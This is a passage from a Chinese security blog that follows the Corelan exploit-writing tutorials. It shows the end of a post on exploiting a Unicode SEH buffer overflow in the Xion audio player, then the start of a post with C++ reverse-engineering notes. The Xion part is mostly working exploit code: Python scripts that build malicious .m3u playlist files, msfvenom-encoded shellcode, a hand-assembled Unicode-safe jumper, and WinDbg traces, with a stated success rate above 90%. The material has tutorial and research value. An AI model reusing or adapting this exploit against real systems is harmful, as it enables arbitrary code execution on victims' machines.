<span class="n">jumper</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x6e\x55\x6e\x58\x6e\x05\x02\x11\x6e\x2d\x01\x11\x6e\x50\x6e\xc3</span><span class="s">"</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">D</span> <span class="o">+</span> <span class="n">jumper</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">786</span> <span class="o">//</span> <span class="mi">2</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">shellcode</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"D"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">5000</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"normal.m3u"</span><span class="p">,</span> <span class="s">"wt"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"latin-1"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h2>利用方法三:跳转至原始shellcode</h2>
<p>在探究漏洞原理的过程中也提到过,转换宽字节的过程是根据长度动态分配堆空间,所以读取原始文件内容时很有可能也是根据长度分配的堆空间,因为实验环境没有开启ASLR,而且两次分配的时机很近,所以它们的相对地址应该是不变的:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
(53c.c90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000031 ebx=04dd1614 ecx=0507b4f8 edx=00130000 esi=04dd15f8 edi=0012f240
eip=04bfc2a6 esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
DefaultPlaylist!XionPluginCreate+0x18776:
04bfc2a6 668902 mov word ptr [edx],ax ds:0023:00130000=6341
0:000> db 05073f58
05073f58 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
05073f68 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
05073f78 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
05073f88 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
05073f98 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
05073fa8 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
05073fb8 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
05073fc8 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
</code></pre></div></div>
<p>在触发异常时观察到,ecx作为复制的源地址也就是宽字节的地址,和原始文件内容的地址的相对偏移也应该是不变的,这里计算为0x75a0。</p>
<p>那么劫持eip的过程还是可以利用覆盖SEH handler来做,比较熟悉SEH原理的同学(《逆向工程核心原理》)可能知道,当<code class="language-plaintext highlighter-rouge">pop pop ret</code>之后,esp指向的就是给handler传递的第三个处理参数——指向CONTEXT结构体的指针,而CONTEXT结构体则是用来备份异常发生时CPU寄存器的值,对其偏移0xac处保存的就是ecx中的值,调试也可验证如下(ecx保存着堆地址):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> bp 00450015
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450015 esp=0012e298 ebp=0012e2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50015:
00450015 5b pop ebx
0:000> dd esp
0012e298 77f071b9 0012e380 0012f254 0012e39c
0012e2a8 0012e354 0012f254 77f071cd 0012f254
0012e2b8 0012e368 77f0718b 0012e380 0012f254
0012e2c8 0012e39c 0012e354 00450015 00000000
0012e2d8 0012e380 0012f254 77edf96f 0012e380
0012e2e8 0012f254 0012e39c 0012e354 00450015
0012e2f8 0012f240 0012e380 04e715f8 00420042
0012e308 00420042 00000041 01e8ad00 00000043
0:000> dd 0012e39c+9c
0012e438 0012f240 04e715f8 04e71614 00130000
0012e448 05110628 00000042 0012f260 04c9c2a6
0012e458 0000001b 00210206 0012e7f4 00000023
0012e468 4020027f 00000000 04ccde4c 00000000
0012e478 00000000 00000000 00001fa0 0000ffff
0012e488 00000000 00000000 00000000 00000000
0012e498 00000000 00000000 00000000 00000000
0012e4a8 00000000 00000000 00000000 00000000
</code></pre></div></div>
<p>最终的思路就是,利用SEH劫持eip后,自己手写一段Unicode兼容的shellcode,取出保存的ecx的值,再增加一个偏移定位至原始的shellcode字符串,最后跳转至该地址执行shellcode。</p>
<p>结合前文几点有趣的发现,可以构造shellcode jumper如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># SEH overflow
\x61 popad
\x00\x6E\x00 add byte ptr [esi],ch
\x15\x00\x45\x00\x44 adc eax, 0x44004500
\x00\x6E\x00 add byte ptr [esi],ch
# mov edx, edi; add edx, 0xac; mov eax, [edx]
\xb9\x00\xac\x00\x11 mov ecx, 0x1100ac00
\x00\x6E\x00 add byte ptr [esi],ch
\x57 push edi
\x00\x6E\x00 add byte ptr [esi],ch
\x5a pop edx
\x00\xea add dl, ch
\x00\x6E\x00 add byte ptr [esi],ch
\xb9\x00\x01\x00\x11 mov ecx, 0x11000100
\x00\xee add dh, ch
\x00\x6E\x00 add byte ptr [esi],ch
\x52 push edx
\x00\x6E\x00 add byte ptr [esi],ch
\x5c pop esp
\x00\x6E\x00 add byte ptr [esi],ch
\x58 pop eax
\x00\x6E\x00 add byte ptr [esi],ch
# sub eax, 0x75a0 | 0x7300
\x05\x00\x01\x00\x11 add eax, 0x11000100
\x00\x6E\x00 add byte ptr [esi],ch
\x2d\x00\x74\x00\x11 sub eax, 0x11007400
\x00\x6E\x00 add byte ptr [esi],ch
# jmp eax
\x50 push eax
\x00\x6E\x00 add byte ptr [esi],ch
\xc3 ret
</code></pre></div></div>
<p>其中有三点需要说明一下:</p>
<ol>
<li>popad依次会pop出edi、esi、ebp、esp、ebx、edx、ecx、eax,所以edi中会保存CONTEXT结构体的指针,为了方便add的操作,所以先执行<code class="language-plaintext highlighter-rouge">move edx, edi</code>的操作。</li>
<li>因为<code class="language-plaintext highlighter-rouge">add dl, 0xac</code>会产生进位的结果,但又不会反应在dh上,所以进行了两次add操作。</li>
<li>根据偏移0x75a0可定位至原始shellcode的起始地址,为了越过开启的padding和jumper部分,偏移减少为0x7300,对应payload中偏移保持一致即可。</li>
</ol>
<p>最后要考虑的就是使用什么样的shellcode了,和Part5一样加载的是playlist文件,最终还是使用encoder,使shellcode大部分为可见字符:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">265</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x61\x6e</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x15\x45</span><span class="s">"</span>
<span class="n">D</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x44</span><span class="s">"</span>
<span class="n">jumper</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x6e\xb9\xac\x11\x6e\x57\x6e\x5a\xea\x6e\xb9\x01\x11\xee\x6e\x52\x6e\x5c\x6e\x58\x6e\x05\x01\x11\x6e\x2d\x74\x11\x6e\x50\x6e\xc3</span><span class="s">"</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x41</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">D</span> <span class="o">+</span> <span class="n">jumper</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x2a0</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">shellcode</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"E"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">5000</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.m3u"</span><span class="p">,</span> <span class="s">"wt"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"latin-1"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>最终的exploit成功率有90%多,其中出错的情况没有深究,这里猜测是堆上的相对偏移有可能发生了变化,跳转至shellcode时导致异常。如果对于输入文件的内容长度没有限制的话,也可以考虑使用堆喷的方法来实现跳转,感兴趣的同学可以自行探索。</p>
<h1>0x03 总结</h1>
<p>有时候在危险函数或者关键函数下断点逆推函数调用流程,比正向逆向工程效率会更高一些。漏洞点是相似的,只要弄清楚了Unicode是如何转化的,再结合指令集的特性,漏洞利用的难度并没有想象中那么可怕。其实原文中实践了两个漏洞案例,第二漏洞因为栈空间不足无法拷贝完整的shellcode,也可以考虑覆盖返回地址、跳转至原始shellcode或者egg hunter等方法,篇幅所限就让我们在下一个part中见真章吧。</p>
<p>理解虚无,享受过程,莫思身外无穷事,且尽生前有限杯,逻辑也是个好东西。</p>
Larryxi
0x00 环境搭建 关于栈上的漏洞,之前系列的教程已经介绍了直接覆盖返回地址和触发SEH两种利用方式,同时也涵盖了众多保护机制的绕过方法。Part7应对的则是在输入字符串被转化为Unicode字符串后,溢出漏洞该如何构造exploit和payload(shellcode)。其中对于Unicode和汇编代码的联系理解,以及venetian shellcode创造性的使用都是值得学习的。
Learn Corelan Exploit Writing Part 6
2018-08-27T00:00:00+00:00
2018-08-27T00:00:00+00:00
https://larryxi.github.io/2018/08/27/learn-corelan-exploit-writing-part-six
<h1>0x00 环境搭建</h1>
<p>鲁迅说:人生最大的痛苦是梦醒了无路可走。<a href="https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/">Part6</a>直接上来了一个满汉全席,介绍了Windows平台上的保护机制和绕过方法(没有涉及堆上的东西),也有安全机制的原理的介绍,虽然没有《0day》中的细致,但在绕过利用中的思路和缘由的介绍还是很清晰的,可以相互参看理解。本文结合《C++反汇编与逆向技术技术解密》中类的逆向知识一并做了个总结。</p>
<!-- more -->
<p>原文中举的例子都是自己编写的漏洞函数,这和《0day》中的讲解思路一致,我之前的博客中也有相关文章,这次就不重复了,仅做关键的摘要总结。</p>
<h1>0x01 《C++》9-11章读书笔记</h1>
<h2>8.8 函数指针</h2>
<p>与函数调用的最大区别在于函数是至调用,而函数指针的调用需要取出指针变量中保存的地址数据,间接调用数据。</p>
<h2>9.1 对象的内存布局</h2>
<ol>
<li>在C++中,结构体和类都具有构造函数、析构函数和成员函数,两者只有一个区别:结构体的访问控制默认为public,而类的默认访问控制是private。</li>
<li>对象的大小只包含数据成员,类成员函数属于执行代码,不属于类对象的数据。影响对象大小的计算有继承、虚函数、空类、内存对齐和静态数据成员等情况。</li>
<li>全局对象所在的内存地址空间为全局数据区,而局部对象的内存地址空间在栈中。对象中先定义的数据成员在低地址处,后定义的数据成员在高地址处,依次排列。</li>
</ol>
<h2>9.2 this指针</h2>
<ol>
<li>利用寄存器ecx保存对象的首地址,并以寄存器传参的方式传递到成员函数中,这便是this指针的由来。</li>
<li>C++中的成员函数默认使用thiscall的调用方式,被调用者清栈,不支持变参,调用过程中使用ecx作为第一个参数,传递对象的首地址。</li>
<li>当成员函数使用其他调用方式(如__stdcall)时,this指针将不再使用ecx传递,而是改用栈传递。</li>
</ol>
<h2>9.3 静态数据成员</h2>
<p>静态数据成员在反汇编代码中很难被识别,因为其展示形态与全局变量相同,很难被还原成对应的高级代码。可参考代码的功能,酌情处理。</p>
<h2>9.4 对象作为函数参数</h2>
<ol>
<li>传参时不会像数组那样以首地址作为参数传递,而是先将对象中的所有数据进行备份(复制),将复制的数据作为形参传递到调用函数中使用。</li>
<li>当参数为对象的指针类型时,在函数内的操作都是针对原对象的,不存在对象被复制的问题。(浅拷贝)由于没有副本,因此在函数进入和退出时不会调用构造函数和析构函数,也就不存在资源释放的错误隐患。(Double Free)</li>
</ol>
<h2>9.5 对象作为返回值</h2>
<ol>
<li>对象作为返回值与对象作为参数的处理方式非常类似。对象作为返回值时,进入函数后将申请返回对象使用的栈空间,在退出函数时,将返回对象中的数据复制到临时栈空间中,以这个临时栈空间的首地址作为返回值。</li>
